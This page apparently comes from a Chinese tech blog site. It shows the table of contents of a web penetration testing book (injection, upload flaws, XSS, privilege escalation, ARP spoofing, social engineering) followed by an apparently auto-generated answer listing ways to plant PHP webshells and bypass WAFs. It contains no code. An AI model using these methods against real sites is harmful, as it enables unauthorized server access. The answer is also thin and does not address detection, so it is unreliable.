严格的数据类型 100 5.5.2 特殊字符转义 101 5.5.3 使用预编译语句 102 5.5.4 框架技术 103 5.5.5 存储过程 104 5.6 小结 105 第6章 上传漏洞 106 6.1 解析漏洞 106 6.1.1 IIS解析漏洞 106 6.1.2 Apache解析漏洞 109 6.1.3 PHP CGI解析漏洞 110 6.2 绕过上传漏洞 110 6.2.1 客户检测 112 6.2.2 服务器检测 115 6.3 文本编辑器上传漏洞 123 6.4 修复上传漏洞 127 6.5 小结 128 第7章 XSS跨站脚本漏洞 129 7.1 XSS原理解析 129 7.2 XSS类型 130 7.2.1 反射型XSS 130 7.2.2 存储型XSS 131 7.2.3 DOM XSS 132 7.3 检测XSS 133 7.3.1 手工检测XSS 134 7.3.2 全自动检测XSS 134 7.4 XSS高级利用 134 7.4.1 XSS会话劫持 135 7.4.2 XSS Framework 141 7.4.3 XSS GetShell 144 7.4.3 XSS蠕虫 149 7.5 修复XSS跨站漏洞 151 7.5.1 输入与输出 151 7.5.2 HttpOnly 158 7.6 小结 160 第8章 命令执行漏洞 161 8.1 OS命令执行漏洞示例 161 8.2 命令执行模型 162 8.2.1 PHP命令执行 163 8.2.2 Java命令执行 165 8.3 框架执行漏洞 166 8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 184 第10章 其他漏洞 185 10.1 CSRF 185 10.1.1 CSRF攻击原理 185 10.1.2 CSRF攻击场景(GET) 186 10.1.3 CSRF攻击场景(POST) 188 10.1.4 浏览器Cookie机制 190 10.1.5 检测CSRF漏洞 193 10.1.6 预防跨站请求伪造 197 10.2 逻辑错误漏洞 199 10.2.1 挖掘逻辑漏洞 199 10.2.2 绕过授权验证 200 10.2.3 密码找回逻辑漏洞 204 10.2.4 支付逻辑漏洞 205 10.2.5 指定账户恶意攻击 209 10.3 代码注入 210 10.3.1 XML注入 211 10.3.2 XPath注入 212 10.3.3 JSON注入 215 10.3.4 HTTP Parameter Pollution 216 10.4 URL跳转与钓鱼 218 10.4.1 URL跳转 218 10.4.2 钓鱼 220 10.5 WebServer远程部署 224 10.5.1 Tomcat 224 10.5.2 JBoss 226 10.5.3 WebLogic 229 10.6 小结 233 第3篇 实战篇 第11章 实战入侵与防范 236 11.1 开源程序安全剖析 236 11.1.1 0day攻击 236 11.1.2 网站后台安全 238 11.1.3 MD5还安全吗 243 11.2 拖库 248 11.2.1 支持外连接 248 11.2.2 不支持外连接 253 11.3 小结 262 第4篇 综合篇 第12章 暴力破解测试 264 12.1 C/S架构破解 265 12.2 B/S架构破解 272 12.3 暴力破解案例 275 12.4 防止暴力破解 277 12.5 小结 278 第13章 旁注攻击 279 13.1 服务器Web架构 279 13.2 IP逆向查询 280 13.3 SQL跨库查询 282 13.4 目录越权 283 13.5 构造注入点 284 13.6 CDN 286 13.7 小结 288 第14章 提权 290 14.1 溢出提权 290 14.2 第三方组件提权 294 14.2.1 信息搜集 294 14.2.2 数据库提权 296 14.2.3 FTP提权 302 14.2.4 PcAnywhere提权 312 14.3 虚拟主机提权 314 14.4 提权辅助 315 14.4.1 3389口 315 14.4.2 口转发 318 14.4.3 启动项提权 320 14.4.4 DLL劫持 321 14.4.5 添加后门 322 14.5 服务器防提权措施 324 14.6 小结 325 第15章 ARP欺骗攻击 326 15.1 ARP协议简介 326 15.1.1 ARP缓存表 326 15.1.2 局域网主机通信 327 15.1.3 ARP欺骗原理 328 15.2 ARP攻击 329 15.2.1 Cain 329 15.2.2 Ettercap 332 15.2.3 NetFuke 336 15.3 防御ARP攻击 339 15.4 小结 340 第16章 社会工程学 341 16.1 信息搜集 341 16.2 沟通 343 16.3 伪造 344 16.4 小结 345
对于利用webshell流量检测实验演示各种php webshell变形方法绕WAF的问题,根据引用\[1\]和引用\[2\]的内容,可以提供以下回答: Webshell是一种用于获取对服务器某种程度上的操作权限的工具,而php webshell是一种通过网站口对网站服务器进行操作的权限。在绕过Web应用程序防火墙(WAF)的过程,可以采用多种php webshell变形方法。 其,管理权限拿webshell(进后台)的方法包括正常上传拿webshell、数据库备份拿webshell、突破本地验证拿webshell、上传其他脚本类型拿webshell、00截断拿webshell、利用解析漏洞拿webshell、利用编辑器拿webshell、网站配置插马拿webshell、通过编辑模板拿webshell、修改脚本直接拿webshell、数据库命令执行拿webshell、添加静态页面拿webshell、文件包含拿webshell等方法。\[2\] 而普通权限拿webshell(不进后台)的方法包括0day拿webshell、修改网站上传类型配置来拿webshell、IIS写入权限拿webshell、远程命令执行拿webshell、上传漏洞拿webshell、SQL注入webshell等方法。\[2\] 综上所述,利用webshell流量检测实验演示各种php webshell变形方法绕WAF的过程,可以根据具体情况选择适合的方法来绕过WAF的检测。 #### 引用[.reference_title] - *1* [PHP常见过waf webshell以及最简单的检测方法](https://blog.csdn.net/weixin_31900373/article/details/115193111)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [拿webshell基础方法总结](https://blog.csdn.net/m0_46230316/article/details/105644775)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值